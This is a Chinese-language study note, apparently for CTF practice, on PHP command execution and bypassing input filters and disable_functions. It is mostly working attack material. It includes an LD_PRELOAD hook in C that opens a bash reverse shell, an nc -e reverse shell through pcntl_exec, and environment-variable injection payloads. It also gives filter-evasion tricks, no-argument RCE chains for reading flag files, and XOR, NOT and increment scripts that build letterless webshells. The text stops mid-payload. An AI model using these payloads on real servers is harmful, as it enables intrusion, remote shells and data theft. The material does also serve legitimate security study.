命令执行

命令执行


php命令执行函数

system()

有回显:直接使用


system(string $command, int &$result_code = null):string|false

system()有两个参数,第一个参数是执行的系统命令,第二个参数可选,用来保存命令是否执行成功。

命令如果成功执行,返回值是命令的最后一行,失败为false

$last_line = system('dir', $re);

会先执行dir命令打印目录,然后命令执行成功,给$re赋值0,$last_line保存dir命令的最后一行内容


\system 使用绝对路径中的system函数


passthru()

有回显:直接使用


passthru(string $command, int &$result_code = null):?false

passthru()和system()参数一样

命令如果成功执行,返回值是null,失败为false



exec()

无回显,搭配输出函数(如echo,print_r...),搭配第二个参数使用


exec(string $command, array &$output = null, int &$result_code = null): string|false

exec()有三个参数,第一个参数是执行的系统命令,第二、三个参数可选,如果有第二个参数,命令执行成功后的每一行内容都变成一个数组元素放进第二个参数中,第三个和system()第二个参数一样,用来保存命令是否执行成功。

返回值和system()一样

exec('dir');      //无内容
echo exec('dir'); //有内容
    
$last_line = exec('dir', $output, $re);
echo "Returned with status $re and output:\n";
print_r($output);

命令执行成功后的内容放进$output数组中,给$re赋值0,$last_line保存dir命令的最后一行内容,$output为数组



shell_exec()

无回显,搭配输出函数(如echo,print_r...)


shell_exec(string $command): string|false|null

一个执行命令的参数

成功执行时返回值是命令全部内容

shell_exec('dir');      //无内容
echo shell_exec('dir'); //输出全部内容

l先判断执行后面,ll先判断执行前面
可构造()l恶意代码ll()(不确定)



反引号``

和shell_exec()一样


$a = _GET['a']; echo (`$a`); 构造/?a=dir 会直接执行命令



popen()

无回显,搭配文件读取命令(如fgets,fread,fwrite...)和输出函数


popen(string $command, string $mode): resource|false

第一个参数为命令,第二个为模式,返回值为流

打开文件
需自己手工去指向的区域输出内容

/?command = dir;
$command = $_GET['command'];  
$handle = popen($command,"r");//打开文件
while(!feof($handle)) echo fread($handle,1024);  //读取文件,把command看成文件

proc_open()

无回显


ob_start()

参数为字符串,是执行其他内容的函数
ob_start(“system”); echo “whoami”;ob_end_flush();
echo把内容输入进一个缓冲区等待执行(缓存区满再一次性执行),ob_end_flush()强制清空执行


pcntl_exec()

在当前进程空间执行指定程序

条件:PHP > 4.2.0

pcntl_exec(string $path, array $args = ?, array $envs = ? ): void

第一个参数传想执行的文件路径(如/bin/bash),第二个每个数组元素传对应的命令(如['-c','nc...'])


利用:1、将文件输出到有权限的路径。2、shell反弹

eval($cmd);
cmd=pcntl_exec("/bin/bash",array("-c","nc xxx.xxx.xxx.xxx 8888 -e /bin/bash"));
nc -lvp 8888


读取文件命令

linux

more : 类似 cat ,不过会一页一页显示(只能向后翻页)
less : 与 more 类似,但可向前翻页
cat  : 
tac  : 从最后一行开始显示,可以看出 tac 是 cat 的反向显示
head : 查看文件开头几行内容(默认10)
tail : 查看文件尾几行
nl   : 显示文件内容的时候,顺便输出行号
od   : 以不同进制的方式读取文件内容
vi   : 一种编辑器,这个也可以查看
vim  : 一种编辑器,这个也可以查看
sort : 对文件排序(输出排序后内容)
uniq : 去除重复行(输出去重后内容)
rev  : 反转每一行内容(每行独立反转,输出反转后内容)
cut  : 输出剪切内容(cut -b 1-10 1.txt),具体用法去搜
sed  : sed p 1.txt
man  : 直接对文本运行可以看到文本内容(未复现成功)
paste: 把每个文件以列对列的方式合并,(一个文件就相当于直接显示原来的)
grep : 查找文件里符合条件的字符串(grep flag 1.txt)
dd   : 可读取文件数据,if=1.txt
diff : 比较两文件(输出不同的地方,需获得另一个文件)
xxd  : 读取二进制文件,格式和winhex类似
awk  : NR==?  如cat flag.txt|awk NR==? 将文件的第?行内容输出
file : -f f.txt  打开f.txt文件,会将里面每一行当文件打开,打不开会给报错信息

管道符

> 输入(覆盖),>> 追加

< file.txt # 将 file.txt 文件的内容作为 cat 命令的输入 ,<< +多行文本


linux

; 执行完前面语句后,执行后面语句(前面失败也执行) ping 127.0.0.1;whoami

| 显示后面语句结果 ping 127.0.0.1|whoami(前面的命令执行的结果会作为后面命令的输入)

|| 当前面语句出错,执行后面语句(没出错不会执行)

& 前面语句真假都执行后面语句

&& 前面语句为假直接出错,前面为真才执行后面语句


windows

| 显示后面语句结果 ping 127.0.0.1|whoami

|| 当前面语句出错,执行后面语句(没出错不会执行)

& 前面语句真假都执行后面语句

&& 前面语句为假直接出错,前面为真才执行后面语句


disables_functions

禁用了很多可用命令,函数


LD_PRELOAD劫持

当几乎所有函数被ban的时候使用()

条件:

1、能够上传自己的动态链接库(.so文件)

2、能够控制LD_PRELOAD环境变量的值,如putenv函数

3、mail()、imap_mail()、mb_send_mail()和error_log()等去动态链接外部库的函数


静态链接:形成可执行文件前将一个个静态链接库加入可执行文件中

动态链接:执行可执行文件时,需要时动态链接 动态链接库(有很多c库函数?)


LD_PRELOAD是个环境变量,动态链接去找动态链接库会先通过LD_PRELOAD查看是否有指定的库,有的话会将里面的库函数覆盖原来的函数,其他未重名函数按原来去进行链接。

LD_PRELOAD允许你在程序运行时加载一个共享库,该共享库中的函数实现会覆盖程序本身中相应的函数


拓展:随机数rand、strcmp等很多函数都可以被劫持


putenv()

putenv函数可以修改环境变量


ln -sf /bin/bash /bin /sh

在php中,system()函数调用/bin/sh来执行参数指定的命令,ln.......命令的作用是将系统默认的shell解释器从/bin/sh更改为/bin/bash。所以最后调用的system()函数的时候是bash环境

foreach ($_GET['get'] as $inject => $rce){
    putenv("{$inject}={$rce}");
}

我是如何利用环境变量注入执行任意命令-腾讯云开发者社区-腾讯云 (tencent.com)

payload:?get[BASH_FUNC_echo%%]=() { cat /f*; }


mail

其他类似函数error_log等是一样的做法,就改一下函数用法就行

mail函数执行时调用了一个动态链接库sendmail,而sendmail中有个getuid的系统函数,我们需要自己生成一个有getuid函数的.so文件,再通过LD_PRELOAD指定我们的文件,覆盖原来的函数,达到命令执行的目的

当执行mail函数时,会根据LD_PRELOAD的内容去动态链接我们的动态链接库,执行我们的恶意代码


hook_getuid.c文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8888 0>&1'");
    //system("nc xxx.xxx.xxx.xxx 8888 -e /bin/bash")
}

int getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}
gcc -shared -fPIC hook_getuid.c -o  hook_getuid.so

上传.so文件,利用putenv修改LD_PRELOAD的值,然后执行mail函数


这里用个例子

hook_getuid.php

<?php
putenv('LD_PRELOAD=./hook_getuid.so');    // 注意这里的目录要有访问权限
mail('','','','');
//mail("a@localhost","","","","");
//error_log("", 1, "", "");
?>

放到了同级目录

nc -lvp 8888    #监听反弹shell端口


更强的绕过的代码和使用教程

yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail) (github.com)

绕过Disable Functions来搞事情 - FreeBuf网络安全行业门户


_attribute_((constructor))

__attribute__((constructor))是一个修饰符,被他修饰的函数会在main()函数前执行。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("...");
}

一样转成.so,然后设置LD_PRELOAD

奇安信攻防社区-深入分析 LD_PRELOAD (butian.net)


蚁剑

选能用的直接getshell


pcntl_exec()


绕过

文章

CTF里读取文件相关知识点总结 - 先知社区 (aliyun.com)


空格绕过

{} : 用于生成和展开一系列的字符串或命令参数

echo {apple,banana,orange}  # 输出: apple banana orange
{cat,/flag} == cat /flag

$:变量引用($HOME:家目录)、命令替换($(data:日期))、环境变量引用($IFS)、其他($'\132':解析编码(ANSI-C转义))

<  <>   %20(space)  %09(tab)  %0a(\n)(可替代;|)
$IFS $IFS$1 $IFS$9 ${IFS} ${IFS}$9 

${IFS} 是在Shell中使用变量替换,当Shell遇到${IFS}时,它会将${IFS}替换为环境变量$IFS的值


/绕过

${PATH:0:1}    //切片操作,取path的第一个字符/

${PWD:0:1}、${HOME:0:1}、${SHELL:0:1},可以取其它替代


文件名绕过

cat /f*    *匹配任意个字符

cat /f???  ? 匹配一个字符

cat /[9-q][9-q][9-q][9-q]    正则匹配[...]
    /[e-h][k-m][9-b][e-h]
cat /$'\146\154\141\147'  编码转换

echo "Y2F0IC9mKg==" | base64 -d |bash  管道符利用  -d为解码  最后给bash解释执行(可用其他编码如hex、shellcode编码)

linux里,ca''t、ca\t、ca""t和cat是等效的
$1到$9,$@,$*输出为空

:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${PATH:0:1}为/,${PATH:5:1}为l,不同环境变量不一样,尽量用前面的
这个环境里,f${PATH:5:1}${PATH:8:1}g == flag

b=ag;a=fl;cat $a$b == cat flag

无参命令执行绕过

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {   
    eval($_GET['code']);
}
//W:匹配数字字母下划线
//+:尽可能多匹配

正则会匹配a()这样的无参函数,将其替换成空,如b(a());会被正则匹配b(a());-->a();-->;最后只剩下个分号,刚好===;,就eval你的code


请求头绕过(php7.3)

getallheaders()

倒序形式获取http所有的头部信息,但必须在apache的环境下才可以使用

pos()函数可获取第一个参数的值(这里是close)

end()函数可获取最后一个参数的值(这里是xxx.xxx......)

所以最后的Connection改成:system('ls');
?code=eval(end(getallheaders()));

不行的话最底下添加个无用信息如:bkq: system('ls')

payload上的eval先将函数执行成对应命令sys....,题目的eval再进一步命令执行


全局变量绕过(php5、7)

get_defined_vars()

获得环境变量的信息

在php5版本中回显的内容:

在php7中会多回显一个服务器信息


pos()可以获得第一个_GET的值,然后再套一层end()获得想执行的命令的值


payload:eval(end(pos(get_defined_vars())));&cmd=system('ls');

_POST、_COOKIE等都可以构造,next()函数就是获取下一个值


session绕过(php7以下)

可以取了解一下session有关内容

session_start()

开启新会话或使用现用会话,成功返回true,失败返回false

session_id()

获取session_id值


第一种方法(eval):

PHPSESSIID中只能有A-Z a-z 0-9 -,所以可以十六进制转换一下

system('ls')  -->  73797374656d28276c7327293b

hex2bin():将十六进制转成字符串

payload:show_source(session_id(session_start()));


第二种方法(查看源代码函数):

如show_source()、highlight_file()

payload:show_source(session_id(session_start()));


scandir绕过

总结:无限套娃,会使用这些函数,

函数

localeconv()    #返回一个包含本地数字及货币格式信息的数组,第一个值是个.
scandir($dir)   #列出指定路径的文件和目录(php5,7,8)
getcwd()        #获取当前工作目录(绝对路径)(php4,5,7,8)
dirname()       #获取上级目录的绝对路径
chdir()         #类似cd,用于改变当前工作目录

current()       #是pos()函数的别名,获取第一个值(php4,5,7,8)
array_reverse() #反转数组(php4,5,7,8)
array_flip()    #交换键和值(php4,5,7,8)
array_rand()    #从数组中随机取出一个或多个键
next()          #获取当前数组指针的下一个值(php4,5,7,8)
end()           #获取最后一个值

crypt()         #加密,生成随机字符串,可能有/
ord()           #对字符串第一个字符转ascll码值
chr()           #将对应的ascll码值转换字符串
strrev()        #反转字符串

show_source()、highlight_file()    #查看源代码函数,用来显示文件内容

RCE篇之无参数rce | Arsene.Tang (arsenetang.com)


获取当前目录

多种方法

?code= print_r(scandir(current(localeconv())));

?code= print_r(scandir(getcwd()));


查flag.php

?code= highlight_file(current(array_reverse(scandir(current(localeconv())))));

?code= show_source(end(scandir(current(localeconv()))));


获取上级目录

?code= print_r(scandir(dirname(getcwd())));


读取info.php

这里需要切换工作路径(chdir函数),否则1.php会找不到文件(切换后返回1,但是不知道为什么只有dirname可以获得一个.

?code= show_source(end(scandir(dirname(chdir(dirname(getcwd()))))));


读取class10

next函数在这只能next一次(next对数组使用,当取了一次next就只剩下个值,无法继续next),用array_flip()+array_rand()来随机返回

?code= print_r(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));


获取根目录

主要是获得/

crypt接收str,所以要先用序列化

?code= print_r(chr(ord(strrev(crypt(serialize(array()))))));


获得目录(可能得多点几下,因为crypt是随机的)

?code= print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));


获取flag文件,和上级目录方法一样,先切换工作目录

?code= print_r(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))));

获取flag

?code= show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

这里可以用bp爆破一下


payload

同级
highlight_file(current(array_reverse(scandir(current(localeconv())))));
show_source(end(scandir(current(localeconv()))));

上级
show_source(end(scandir(dirname(chdir(dirname(getcwd()))))));
highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

根目录
show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(phpversion()))))))))));


无字母数字绕过

利用shell脚本变量构造无字母数字命令 - 先知社区 (aliyun.com)


<?php
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

过滤大小写字母和数字


数字绕过

bash对于整数的表示形式是[base#]n的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100

${##} 表示当前命令行参数的个数,${##}是1:#是计算字符串长度,两个#中,第一个#是计算字符串长度 第二个#是字符串的名字。$#的值是0,字符串长度为1,所以${##}是1(不确定是不是这样解释)


异或绕过

异或:每位进行异或,相同为0,不同为1

异或脚本

<?php
header("content-type:text/html;charset=utf-8");
error_reporting(0);
//$shell = $_GET["cmd"];

$shell = "命令";

$result1 = "";
$result2 = "";

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}

for($num=0;$num<=strlen($shell);$num++)
{
    for($x=33;$x<=126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "异或运算第一部分: ".$result1;
echo "<br>";
echo "异或运算第二部分: ".$result2;
echo "<br>";
echo '\\\\=\\,多写个\\';

assert

php7以下

这张图片很清晰了


?cmd=
$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___['_']);

需要url编码,防止+号等构成混淆


反引号`

可能全版本通用


反引号这不能用单引号 ' ' 包裹_

?cmd=$_="!+/(("^"~{`{|";$__=$$_;`$__[_]`;

这里是``,所以直接命令执行


取反绕过

~:将每个二进制位0变1,1变0


<?php
$a ='cat flag.txt';
echo urlencode(~$a);

可以直接这样,也可以用取反脚本

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
$shell = $_GET['cmd'];
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕***丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
    return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
    $arr[] = $c;
}

for ($x=0;$x<strlen($shell);$x++)
{
    for ($y=0;$y<count($arr);$y++)
    {
        $k = $arr[$y];
        if ($shell[$x] == ~($k{1}))
        {
            $result .= $k;
            $result1 .= "%".bin2hex($k{1});
            break;
        }
    }
}
echo "通过在URL内GET方法提交?cmd=\"具体命令\"";
echo "<br>";
echo "字符串:".$result;
echo "<br>";
echo "URL编码:".$result1;
echo "<br>";
echo "弊端:识别不会转空格点等";

assert

php7以下

在这里

~("%9e%8c%8c%9a%8d%8b") == assert 
~("%a0%af%b0%ac%ab") == _POST

无需url转码

?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___['_']);


反引号`

可能全版本通用


反引号这不能用单引号 ' ' 包裹_

?cmd=$__=~("%a0%af%b0%ac%ab");$___=$$__;`$___[_]`;


自增绕过

++,这个符号应该不用解释

<?php
$_ = [].'';    //数组拼接空字符,转换成字符串,此时$_="Array"
echo $_[$__];  //$__不存在,会为false(0),此时echo输出A

$_=(0/0)._;    //NAN
//$__=(_/_).''; //NAN
$_=$_[0];      //N

从CTFShowRCE挑战]中学习自增构造webshell-腾讯云开发者社区-腾讯云 (tencent.com)

跟着里面构造吧

注意点:url编码


assert

以下$_为assert,$_ _ _ _为_POST,以下代码为assert($_POST['_']);

$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ 